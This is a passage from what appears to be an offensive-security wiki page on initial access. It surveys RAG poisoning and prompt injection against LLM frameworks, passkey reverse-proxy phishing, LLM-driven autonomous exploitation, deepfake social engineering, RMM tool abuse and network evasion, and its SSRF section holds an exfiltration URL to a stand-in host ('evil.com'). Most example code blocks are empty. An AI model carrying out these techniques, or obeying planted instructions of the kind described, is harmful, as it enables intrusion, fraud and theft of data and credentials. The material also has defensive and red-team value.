Detection Evasion:

  • Embeddings bypass traditional DLP (text not directly visible to scanners)

  • Semantic search rankings manipulated via adversarial examples

  • Legitimate-looking content passes manual review

  • Slow-drip poisoning over months avoids anomaly detection

LangChain/LlamaIndex Exploitation

Vulnerability Classes:

  • Arbitrary Code Execution via Tools:

  • SSRF via Document Loaders:

    • LangChain's UnstructuredURLLoader fetches attacker-controlled URLs

    • Exfiltrate internal documents via callbacks: http://evil.com/?doc={{retrieved_content}}

  • Prompt Injection via Function Calling:

Experimental (Research): Passkey/WebAuthn PRF Phishing

[!CAUTION] The following PRF (hmac?secret) abuse ideas are research?grade and highly build?dependent. Public, reproducible evidence is limited; treat as experimental and validate in a lab.

  • Use AI to generate convincing phishing sites in real-time

  • WebAuthn PRF (hmac-secret) Abuse:

  • Reverse Proxy Passkey Phishing (Evilginx 3.0+):

    • Proxy sits between victim and real site

    • Forwards WebAuthn challenges

    • Steals session cookies post-authentication

    • Bypasses FIDO2/passkey protection

LLM-Powered Autonomous Penetration Testing

Large language models enable fully autonomous initial access and exploitation:

RapidPen Framework and Similar Tools Capabilities

  • Autonomous vulnerability discovery without human intervention

  • Real-time adaptation to target responses and defenses

  • Shell access achievement through multi-step exploitation chains

  • Automated reconnaissance, enumeration, and privilege escalation

  • Natural language understanding of application behavior

Technical Implementation

Attack Chain Automation:

  1. Target Analysis:

    • LLM analyzes target website/application

    • Identifies technology stack from responses

    • Plans attack strategy based on findings

    • Prioritizes high-value vulnerabilities

  2. Vulnerability Discovery:

    • Generates test cases based on common patterns

    • Adapts payloads based on WAF/filtering responses

    • Learns from failed attempts

    • Discovers zero-day-like vulnerabilities through fuzzing

  3. Exploitation:

    • Generates exploit code in real-time

    • Handles errors and edge cases

    • Bypasses basic security controls through iteration

    • Achieves code execution or data access

  4. Post-Exploitation:

    • Establishes persistent access

    • Conducts lateral movement

    • Exfiltrates sensitive data

    • Covers tracks and removes indicators

Persistent Cross-Session Injection

Semantic Search Manipulation:

Attackers craft documents with embeddings that rank highly for targeted queries:

Embedding Space Obfuscation:

Long-Term RAG Database Poisoning

Slow-Drip Strategy:

  • Upload hundreds of benign documents over months

  • Gradually inject subtle malicious instructions

  • Build trust and authority in vector database

  • Activate attack instructions when critical mass reached

Detection Evasion:

  • Spread malicious content across multiple documents

  • Use semantic similarity to hide patterns

  • Employ steganography in metadata

  • Rotate attack vectors to avoid signatures

Cross-Document Instruction Chaining:

hashtag
Others

Social Engineering

Attack Mechanics

  • IT help desk impersonation via phone/VoIP/Teams calls

  • Microsoft Quick Assist and legitimate RMM tool abuse

  • Combines with spam bombing for urgency creation

  • Integrates with MFA fatigue/prompt bombing tactics

  • Multi-stage approach: notification flood ? vishing call ? access grant

Spam Bombing Prerequisites

  • Overwhelm victims with legitimate service notifications (password resets, MFA enrollments, subscription alerts)

  • Create panic and urgency state in target

  • Coordinate timing with follow-up vishing call offering "help"

  • Target multiple channels simultaneously (email, SMS, push notifications, app alerts)

  • Leverage real services to avoid detection (Office 365, Azure, AWS notifications)

Help Desk Social Engineering

  • Impersonate legitimate IT staff to internal help desk systems

  • Request password resets and MFA setting changes with social proof

  • Exploit organizational charts gathered via LinkedIn/OSINT

  • Chain with other techniques for enhanced credibility

  • Use insider knowledge (org structure, naming conventions, recent incidents)

GenAI-Powered Social Engineering

Artificial intelligence has revolutionized social engineering capabilities in 2025:

Deepfake Voice Cloning

  • Real-time voice synthesis for executive impersonation

  • Training on 10-30 seconds of target audio (LinkedIn videos, earnings calls, podcasts)

  • Bypasses voice biometric authentication systems

  • Effective for CEO fraud and wire transfer requests

  • Tools: ElevenLabs, Respeecher, PlayHT (commercial), open-source alternatives

Synthetic Video Generation

  • AI-generated video for Teams/Zoom call authentication bypass

  • Deepfake video impersonation of executives or IT staff

  • Real-time face swap during video calls

  • Bypasses video-based identity verification

  • Detection challenges: subtle artifacts, poor lighting excuses

AI-Generated Social Presence

  • Fake LinkedIn profiles with consistent post history

  • AI-written connection requests and messages at scale

  • Automated social media presence building

  • Synthetic profile photos (ThisPersonDoesNotExist.com)

  • Believable professional backgrounds and endorsements

Automated Spear-Phishing at Scale

  • LLM-generated personalized phishing content

  • Context-aware messages based on OSINT scraping

  • Industry-specific lingo and reference inclusion

  • Grammatically perfect, culturally appropriate content

  • A/B testing of different approaches automatically

Real-Time Conversational AI

  • ChatGPT-style interfaces for live victim interaction

  • Adaptive responses based on victim's technical sophistication

  • Multi-turn social engineering conversations

  • Handles objections and builds trust dynamically

  • Mimics organizational communication styles

Cloud Initial Access Evolution

Information Stealer Evolution

  • Stealc and Vidar specifically targeting cloud credentials

  • Browser cookie/session token extraction from Chrome, Edge, Firefox

  • Credential harvesting from password managers (LastPass, 1Password, Bitwarden)

  • Cloud CLI configuration files (.aws/credentials, .azure/, .kube/config)

  • Persistent token storage in application data directories

Attack Vectors

  • Credential stuffing against cloud portals (Office 365, AWS Console, GCP, Azure Portal)

  • Session hijacking via stolen browser cookies

  • OAuth token theft from authenticated developer workstations

  • Exposed API keys in public GitHub repositories, Docker images, CI/CD logs

  • Compromised service account credentials with excessive permissions

Targeting Patterns

  • Finance teams (O365 admin access, payment processing)

  • DevOps engineers (cloud infrastructure admin keys)

  • Executive accounts (broad access, privilege escalation targets)

  • Automated systems (service accounts with no MFA)

Cloud Trust Relationship Exploitation

Modern cloud architectures create trust relationships that attackers exploit for lateral movement:

Cross-Tenant Attacks

  • Abuse trust between business partners and cloud tenants

  • Exploit Azure AD B2B guest access with excessive permissions

  • Leverage AWS cross-account IAM roles with overly permissive policies

  • GCP shared VPC and organization-level service accounts

Federated Identity Chain Attacks

  • Compromise on-premises AD to access federated cloud identities

  • SAML response manipulation for privilege escalation

  • OAuth application consent grant attacks

  • Azure AD Connect sync account compromise

Supply Chain Trust Abuse

  • SaaS-to-SaaS integrations with broad OAuth scopes

  • Third-party app marketplace installations

  • Managed service provider (MSP) access abuse

  • Cloud marketplace image/container supply chain

Shared Responsibility Model Gaps

  • Misunderstanding of provider vs customer security boundaries

  • Unprotected customer-managed keys and secrets

  • Misconfigured network security groups and firewalls

  • Public snapshots and backups containing sensitive data

Access Broker Marketplace

Specialized cybercriminal services for acquiring and selling initial access:

Market Dynamics

  • Dark web marketplaces (Genesis, Russian Market, 2easy)

  • Telegram channels for real-time access sales

  • Auction-style pricing for premium targets

  • Guaranteed access with money-back provisions

Access Types Sold

  • VPN credentials with valid MFA tokens

  • RDP access to internal networks

  • Cloud administrator accounts

  • Email account access (C-level executives)

  • Database credentials

  • Source code repository access

RMM Tool Abuse Revolution

Shift from traditional malware delivery to legitimate remote monitoring and management tool abuse:

Common Abused Tools

  • AnyDesk: Most frequently abused, easy deployment, legitimate appearance

  • TeamViewer: Corporate trusted, less likely to be blocked

  • ConnectWise Control (formerly ScreenConnect): IT support standard

  • RemotePC, Splashtop, LogMeIn: Various commercial RMM solutions

  • Microsoft Quick Assist: Built into Windows, requires no installation

Attack Flow

  1. Social engineering victim to install RMM tool ("IT support" pretext)

  2. Voluntary installation bypasses application whitelisting

  3. Legitimate process makes EDR detection challenging

  4. Persistent remote access without custom malware

  5. Conduct reconnaissance, data exfiltration, deployment of secondary payloads

Advanced Techniques:

  • Pre-positioning RMM tools during "test" support calls

  • Creating scheduled tasks for RMM tool persistence

  • Disabling notifications and UI elements

  • Using portable/silent installers

  • Chaining multiple RMM tools for redundancy

HEAT Attacks (Highly Evasive Adaptive Threats)

A class of sophisticated attacks designed to bypass traditional network security defenses through technical exploitation:

Core Characteristics

  • Designed to evade inline security inspection (proxies, firewalls, IDS/IPS)

  • Exploit technical limitations and blind spots in security tools

  • Target web browsers as primary attack vector

  • Adaptive evasion techniques that respond to detection attempts

  • Multi-stage payload delivery avoiding sandbox analysis

Evasion Techniques

Protocol Manipulation:

  • HTTP/2 multiplexing abuse to hide malicious streams

  • WebSocket tunneling to bypass proxy inspection

  • DNS tunneling for command and control

  • QUIC/HTTP/3 adoption before security tools support it

  • Encrypted SNI (ESNI) / ECH to hide destination domains

Content Obfuscation:

  • JavaScript obfuscation and anti-debugging

  • WebAssembly (WASM) payloads difficult to analyze

  • Steganography in images and media files

  • Base64 encoding chains and custom encodings

  • Dynamic code generation client-side

Browser Exploitation:

  • Abuse of browser features (Service Workers, Web Workers)

  • IndexedDB and LocalStorage for persistent staging

  • Browser extension vulnerabilities

  • WebRTC for peer-to-peer C2 channels

  • Progressive Web App (PWA) installation for persistence

Sandbox Evasion:

  • Environment detection (headless browser, VM detection)

  • Time-based triggers and user interaction requirements

  • Geolocation and timezone checks

  • Canvas fingerprinting to identify analysis systems

  • Delayed payload execution after extended user interaction

Network Layer Evasion:

  • Domain generation algorithms (DGA) for C2

  • Fast-flux DNS to evade blocking

  • Content delivery network (CDN) abuse for hosting

  • Domain fronting and domain borrowing

  • Cloud provider IP reputation leveraging

Detection Strategies:

  • Deploy TLS inspection with proper certificate handling

  • Implement behavioral analysis beyond signature matching

  • Monitor for unusual browser behavior patterns

  • Track anomalous DNS queries and WebSocket connections

  • Analyze JavaScript execution patterns in browser telemetry

Content Injection (MITRE T1659)

Adversaries inject malicious content into systems via online network traffic interception and modification:

Attack Mechanisms

Man-in-the-Middle Content Modification:

  • HTTP response injection (unencrypted traffic)

  • TLS downgrade attacks to enable injection

  • Compromised proxies modifying legitimate content

  • ISP/network provider level injection

  • Public WiFi attack scenarios

DNS Hijacking for Content Delivery:

  • Compromised DNS servers returning malicious IPs

  • DNS cache poisoning on recursive resolvers

  • Rogue DHCP servers providing malicious DNS

  • DNS rebinding attacks for local network access

  • NXDOMAIN hijacking by ISPs

BGP Hijacking for Large-Scale Campaigns:

  • Border Gateway Protocol route hijacking

  • Traffic redirection to attacker-controlled servers

  • Man-in-the-middle at internet backbone level

  • Difficult to detect for end users

  • Affects entire regions or networks

CDN Compromise for Supply Chain Injection:

  • Compromise of content delivery networks

  • Injection into popular JavaScript libraries

  • Waterhole attacks via trusted CDN assets

  • Package repository compromise (npm, PyPI)

  • Browser extension supply chain attacks

WebSocket Injection:

  • Hijacking WebSocket connections

  • Injecting commands into real-time applications

  • Chat application and gaming platform abuse

  • IoT device control channel interception

HTTP Header Injection:

  • Manipulating response headers

  • Setting malicious Content-Security-Policy

  • Cache poisoning via header manipulation

  • Cookie injection and session hijacking

Practical Attack Examples

Example 1: Public WiFi MitM:

Example 2: DNS Hijacking Campaign:

Example 3: BGP Hijacking:

hashtag
Diagrams

Antivirus

PreviousRed Team and Blue Team ToolsNextOSINT Methodology

Last updated